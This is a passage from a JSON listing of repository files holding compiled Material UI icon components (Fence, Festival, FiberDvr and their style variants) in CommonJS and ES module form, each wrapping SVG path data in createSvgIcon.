    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 9.5C17.5 6.46 15.04 4 12 4S6.5 6.46 6.5 9.5c0 2.7 1.94 4.93 4.5 5.4V17H9v2h2v2h2v-2h2v-2h-2v-2.1c2.56-.47 4.5-2.7 4.5-5.4m-9 0C8.5 7.57 10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5\"\n}), 'FemaleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fence.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12v-2h-2V7l-3-3-2 2-2-2-2 2-2-2-3 3v3H3v2h2v2H3v2h2v4h14v-4h2v-2h-2v-2zm-5-5.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'Fence');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fence.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12v-2h-2V7l-3-3-2 2-2-2-2 2-2-2-3 3v3H3v2h2v2H3v2h2v4h14v-4h2v-2h-2v-2zm-5-5.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'Fence');"
  },
  {
    "path": "packages/mui-icons-material/lib/FenceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12v-2h-2V7l-3-3-2 2-2-2-2 2-2-2-3 3v3H3v2h2v2H3v2h2v4h14v-4h2v-2h-2v-2zm-5-5.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'FenceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FenceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12v-2h-2V7l-3-3-2 2-2-2-2 2-2-2-3 3v3H3v2h2v2H3v2h2v4h14v-4h2v-2h-2v-2zm-5-5.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'FenceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FenceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11c0-.55-.45-1-1-1h-1V7l-2.29-2.29a.996.996 0 0 0-1.41 0L14 6l-1.29-1.29a.996.996 0 0 0-1.41 0L10 6 8.71 4.71a.996.996 0 0 0-1.41 0L5 7v3H4c-.55 0-1 .45-1 1s.45 1 1 1h1v2H4c-.55 0-1 .45-1 1s.45 1 1 1h1v3c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1m-5-4.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'FenceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FenceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11c0-.55-.45-1-1-1h-1V7l-2.29-2.29a.996.996 0 0 0-1.41 0L14 6l-1.29-1.29a.996.996 0 0 0-1.41 0L10 6 8.71 4.71a.996.996 0 0 0-1.41 0L5 7v3H4c-.55 0-1 .45-1 1s.45 1 1 1h1v2H4c-.55 0-1 .45-1 1s.45 1 1 1h1v3c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h1c.55 0 1-.45 1-1m-5-4.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'FenceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FenceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12v-2h-2V7l-3-3-2 2-2-2-2 2-2-2-3 3v3H3v2h2v2H3v2h2v4h14v-4h2v-2h-2v-2zm-5-5.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'FenceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FenceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12v-2h-2V7l-3-3-2 2-2-2-2 2-2-2-3 3v3H3v2h2v2H3v2h2v4h14v-4h2v-2h-2v-2zm-5-5.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'FenceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FenceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6.83 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12v-2h-2V7l-3-3-2 2-2-2-2 2-2-2-3 3v3H3v2h2v2H3v2h2v4h14v-4h2v-2h-2v-2zm-5-5.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}, \"1\")], 'FenceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FenceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6.83 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12v-2h-2V7l-3-3-2 2-2-2-2 2-2-2-3 3v3H3v2h2v2H3v2h2v4h14v-4h2v-2h-2v-2zm-5-5.17 1 1V10h-2V7.83l.41-.41zm-4 0 .59.59.41.41V10h-2V7.83l.41-.41zM11 14v-2h2v2zm2 2v2h-2v-2zM7 7.83l1-1 .59.59.41.41V10H7zM7 12h2v2H7zm0 4h2v2H7zm10 2h-2v-2h2zm0-4h-2v-2h2z\"\n}, \"1\")], 'FenceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Festival.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5.7V4h3l-1-1.49L16 1h-5v4.7L2 12v10h7v-5l3.03-2L15 17v5h7V12z\"\n}), 'Festival');"
  },
  {
    "path": "packages/mui-icons-material/lib/Festival.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5.7V4h3l-1-1.49L16 1h-5v4.7L2 12v10h7v-5l3.03-2L15 17v5h7V12z\"\n}), 'Festival');"
  },
  {
    "path": "packages/mui-icons-material/lib/FestivalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11V9c-6-2-11-7-11-7S7 7 1 9v2c0 1.49.93 2.75 2.24 3.26C3.2 16.76 2.92 19.69 2 22h20c-.92-2.31-1.2-5.24-1.24-7.74C22.07 13.75 23 12.49 23 11M12 4.71c1.33 1.14 3.49 2.84 6.11 4.29H5.89C8.51 7.55 10.67 5.85 12 4.71M13 11h3c0 .83-.67 1.5-1.5 1.5S13 11.83 13 11m-3.5 1.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5M6 11c0 .83-.67 1.5-1.5 1.5S3 11.83 3 11zm-1.34 9c.39-1.86.54-3.82.57-5.58.68-.15 1.29-.49 1.76-.98.25.25.54.45.85.62-.1 1.87-.26 4-.52 5.93H4.66zm4.69 0c.24-1.83.39-3.78.48-5.53.84-.08 1.61-.45 2.17-1.02.56.57 1.32.94 2.17 1.02.1 1.75.24 3.7.48 5.53zm7.32 0c-.27-1.94-.43-4.07-.52-5.93.31-.17.61-.37.85-.62.47.48 1.08.83 1.76.98.03 1.76.18 3.72.57 5.58h-2.66zm2.83-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5\"\n}), 'FestivalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FestivalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11V9c-6-2-11-7-11-7S7 7 1 9v2c0 1.49.93 2.75 2.24 3.26C3.2 16.76 2.92 19.69 2 22h20c-.92-2.31-1.2-5.24-1.24-7.74C22.07 13.75 23 12.49 23 11M12 4.71c1.33 1.14 3.49 2.84 6.11 4.29H5.89C8.51 7.55 10.67 5.85 12 4.71M13 11h3c0 .83-.67 1.5-1.5 1.5S13 11.83 13 11m-3.5 1.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5M6 11c0 .83-.67 1.5-1.5 1.5S3 11.83 3 11zm-1.34 9c.39-1.86.54-3.82.57-5.58.68-.15 1.29-.49 1.76-.98.25.25.54.45.85.62-.1 1.87-.26 4-.52 5.93H4.66zm4.69 0c.24-1.83.39-3.78.48-5.53.84-.08 1.61-.45 2.17-1.02.56.57 1.32.94 2.17 1.02.1 1.75.24 3.7.48 5.53zm7.32 0c-.27-1.94-.43-4.07-.52-5.93.31-.17.61-.37.85-.62.47.48 1.08.83 1.76.98.03 1.76.18 3.72.57 5.58h-2.66zm2.83-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5\"\n}), 'FestivalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FestivalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11v-.61c0-.8-.48-1.54-1.23-1.84-3.65-1.48-6.81-3.93-8.48-5.37-.74-.64-1.84-.64-2.58 0-1.68 1.44-4.83 3.88-8.48 5.37C1.48 8.85 1 9.58 1 10.39V11c0 1.49.93 2.75 2.24 3.26-.03 1.68-.16 3.55-.52 5.29-.26 1.26.66 2.45 1.95 2.45h14.67c1.29 0 2.21-1.19 1.95-2.45-.36-1.75-.5-3.62-.52-5.29C22.07 13.75 23 12.49 23 11M12 4.71c1.33 1.14 3.49 2.84 6.11 4.29H5.89C8.51 7.55 10.67 5.85 12 4.71M13 11h3c0 .83-.67 1.5-1.5 1.5S13 11.83 13 11m-3.5 1.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5M6 11c0 .83-.67 1.5-1.5 1.5S3 11.83 3 11zm-1.34 9c.39-1.86.54-3.82.57-5.58.68-.15 1.29-.49 1.76-.98.25.25.54.45.85.62-.1 1.87-.26 4-.52 5.93H4.66zm4.69 0c.24-1.83.39-3.78.48-5.53.84-.08 1.61-.45 2.17-1.02.56.57 1.32.94 2.17 1.02.1 1.75.24 3.7.48 5.53zm7.32 0c-.27-1.94-.43-4.07-.52-5.93.31-.17.61-.37.85-.62.47.48 1.08.83 1.76.98.03 1.76.18 3.72.57 5.58h-2.66zm2.83-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5\"\n}), 'FestivalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FestivalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11v-.61c0-.8-.48-1.54-1.23-1.84-3.65-1.48-6.81-3.93-8.48-5.37-.74-.64-1.84-.64-2.58 0-1.68 1.44-4.83 3.88-8.48 5.37C1.48 8.85 1 9.58 1 10.39V11c0 1.49.93 2.75 2.24 3.26-.03 1.68-.16 3.55-.52 5.29-.26 1.26.66 2.45 1.95 2.45h14.67c1.29 0 2.21-1.19 1.95-2.45-.36-1.75-.5-3.62-.52-5.29C22.07 13.75 23 12.49 23 11M12 4.71c1.33 1.14 3.49 2.84 6.11 4.29H5.89C8.51 7.55 10.67 5.85 12 4.71M13 11h3c0 .83-.67 1.5-1.5 1.5S13 11.83 13 11m-3.5 1.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5M6 11c0 .83-.67 1.5-1.5 1.5S3 11.83 3 11zm-1.34 9c.39-1.86.54-3.82.57-5.58.68-.15 1.29-.49 1.76-.98.25.25.54.45.85.62-.1 1.87-.26 4-.52 5.93H4.66zm4.69 0c.24-1.83.39-3.78.48-5.53.84-.08 1.61-.45 2.17-1.02.56.57 1.32.94 2.17 1.02.1 1.75.24 3.7.48 5.53zm7.32 0c-.27-1.94-.43-4.07-.52-5.93.31-.17.61-.37.85-.62.47.48 1.08.83 1.76.98.03 1.76.18 3.72.57 5.58h-2.66zm2.83-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5\"\n}), 'FestivalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FestivalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 11V9c-6-2-11-7-11-7S7 7 1 9v2c0 1.49.93 2.75 2.24 3.26C3.2 16.76 2.92 19.69 2 22h20c-.92-2.31-1.2-5.24-1.24-7.74C22.07 13.75 23 12.49 23 11M12 4.71c1.33 1.14 3.49 2.84 6.11 4.29H5.89C8.51 7.55 10.67 5.85 12 4.71M13 11h3c0 .83-.67 1.5-1.5 1.5S13 11.83 13 11m-3.5 1.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5M6 11c0 .83-.67 1.5-1.5 1.5S3 11.83 3 11zm-1.34 9c.39-1.86.54-3.82.57-5.58.68-.15 1.29-.49 1.76-.98.25.25.54.45.85.62-.1 1.87-.26 4-.52 5.93H4.66zm4.69 0c.24-1.83.39-3.78.48-5.53.84-.08 1.61-.45 2.17-1.02.56.57 1.32.94 2.17 1.02.1 1.75.24 3.7.48 5.53zm7.32 0c-.27-1.94-.43-4.07-.52-5.93.31-.17.61-.37.85-.62.47.48 1.08.83 1.76.98.03 1.76.18 3.72.57 5.58h-2.66zm2.83-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5\"\n}), 'FestivalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FestivalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 11V9c-6-2-11-7-11-7S7 7 1 9v2c0 1.49.93 2.75 2.24 3.26C3.2 16.76 2.92 19.69 2 22h20c-.92-2.31-1.2-5.24-1.24-7.74C22.07 13.75 23 12.49 23 11M12 4.71c1.33 1.14 3.49 2.84 6.11 4.29H5.89C8.51 7.55 10.67 5.85 12 4.71M13 11h3c0 .83-.67 1.5-1.5 1.5S13 11.83 13 11m-3.5 1.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5M6 11c0 .83-.67 1.5-1.5 1.5S3 11.83 3 11zm-1.34 9c.39-1.86.54-3.82.57-5.58.68-.15 1.29-.49 1.76-.98.25.25.54.45.85.62-.1 1.87-.26 4-.52 5.93H4.66zm4.69 0c.24-1.83.39-3.78.48-5.53.84-.08 1.61-.45 2.17-1.02.56.57 1.32.94 2.17 1.02.1 1.75.24 3.7.48 5.53zm7.32 0c-.27-1.94-.43-4.07-.52-5.93.31-.17.61-.37.85-.62.47.48 1.08.83 1.76.98.03 1.76.18 3.72.57 5.58h-2.66zm2.83-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5\"\n}), 'FestivalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FestivalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.24 14.42c-.04 1.76-.18 3.72-.58 5.58h2.67c.27-1.94.43-4.07.52-5.93-.31-.17-.6-.37-.85-.63-.47.49-1.08.83-1.76.98M11 11H8c0 .83.67 1.5 1.5 1.5S11 11.83 11 11m-5 0H3c0 .83.67 1.5 1.5 1.5S6 11.83 6 11m6-6.29C10.67 5.85 8.51 7.55 5.89 9h12.23C15.49 7.55 13.33 5.85 12 4.71m7.5 7.79c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5m2.5.94c-.25.25-.54.45-.85.62.1 1.87.26 4 .52 5.93h2.67c-.39-1.86-.54-3.82-.57-5.58-.69-.14-1.3-.48-1.77-.97\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2S7 7 1 9v2c0 1.49.93 2.75 2.24 3.26C3.2 16.76 2.92 19.69 2 22h20c-.92-2.31-1.2-5.24-1.24-7.74C22.07 13.75 23 12.49 23 11V9c-6-2-11-7-11-7m0 2.71c1.33 1.14 3.49 2.84 6.11 4.29H5.89C8.51 7.55 10.67 5.85 12 4.71M3 11h3c0 .83-.67 1.5-1.5 1.5S3 11.83 3 11m4.33 9H4.66c.39-1.86.54-3.82.57-5.58.68-.15 1.29-.49 1.76-.98.25.25.54.45.85.62-.08 1.87-.24 4-.51 5.94M8 11h3c0 .83-.67 1.5-1.5 1.5S8 11.83 8 11m1.35 9c.24-1.83.39-3.78.48-5.53.84-.08 1.61-.45 2.17-1.02.56.57 1.32.94 2.17 1.02.1 1.75.24 3.7.48 5.53zm5.15-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m2.17 7.5c-.27-1.94-.43-4.07-.52-5.93.31-.17.61-.37.85-.62.47.48 1.08.83 1.76.98.03 1.76.18 3.72.57 5.58h-2.66zm2.83-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5\"\n}, \"1\")], 'FestivalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FestivalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.24 14.42c-.04 1.76-.18 3.72-.58 5.58h2.67c.27-1.94.43-4.07.52-5.93-.31-.17-.6-.37-.85-.63-.47.49-1.08.83-1.76.98M11 11H8c0 .83.67 1.5 1.5 1.5S11 11.83 11 11m-5 0H3c0 .83.67 1.5 1.5 1.5S6 11.83 6 11m6-6.29C10.67 5.85 8.51 7.55 5.89 9h12.23C15.49 7.55 13.33 5.85 12 4.71m7.5 7.79c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5m2.5.94c-.25.25-.54.45-.85.62.1 1.87.26 4 .52 5.93h2.67c-.39-1.86-.54-3.82-.57-5.58-.69-.14-1.3-.48-1.77-.97\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2S7 7 1 9v2c0 1.49.93 2.75 2.24 3.26C3.2 16.76 2.92 19.69 2 22h20c-.92-2.31-1.2-5.24-1.24-7.74C22.07 13.75 23 12.49 23 11V9c-6-2-11-7-11-7m0 2.71c1.33 1.14 3.49 2.84 6.11 4.29H5.89C8.51 7.55 10.67 5.85 12 4.71M3 11h3c0 .83-.67 1.5-1.5 1.5S3 11.83 3 11m4.33 9H4.66c.39-1.86.54-3.82.57-5.58.68-.15 1.29-.49 1.76-.98.25.25.54.45.85.62-.08 1.87-.24 4-.51 5.94M8 11h3c0 .83-.67 1.5-1.5 1.5S8 11.83 8 11m1.35 9c.24-1.83.39-3.78.48-5.53.84-.08 1.61-.45 2.17-1.02.56.57 1.32.94 2.17 1.02.1 1.75.24 3.7.48 5.53zm5.15-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m2.17 7.5c-.27-1.94-.43-4.07-.52-5.93.31-.17.61-.37.85-.62.47.48 1.08.83 1.76.98.03 1.76.18 3.72.57 5.58h-2.66zm2.83-7.5c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5\"\n}, \"1\")], 'FestivalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvr.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10.5h2v1h-2zm-13 0h2v3h-2zM21 3H3c-1.11 0-2 .89-2 2v14c0 1.1.89 2 2 2h18c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2M8 13.5c0 .85-.65 1.5-1.5 1.5H3V9h3.5c.85 0 1.5.65 1.5 1.5zm4.62 1.5h-1.5L9.37 9h1.5l1 3.43 1-3.43h1.5zM21 11.5c0 .6-.4 1.15-.9 1.4L21 15h-1.5l-.85-2H17.5v2H16V9h3.5c.85 0 1.5.65 1.5 1.5z\"\n}), 'FiberDvr');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvr.mjs",
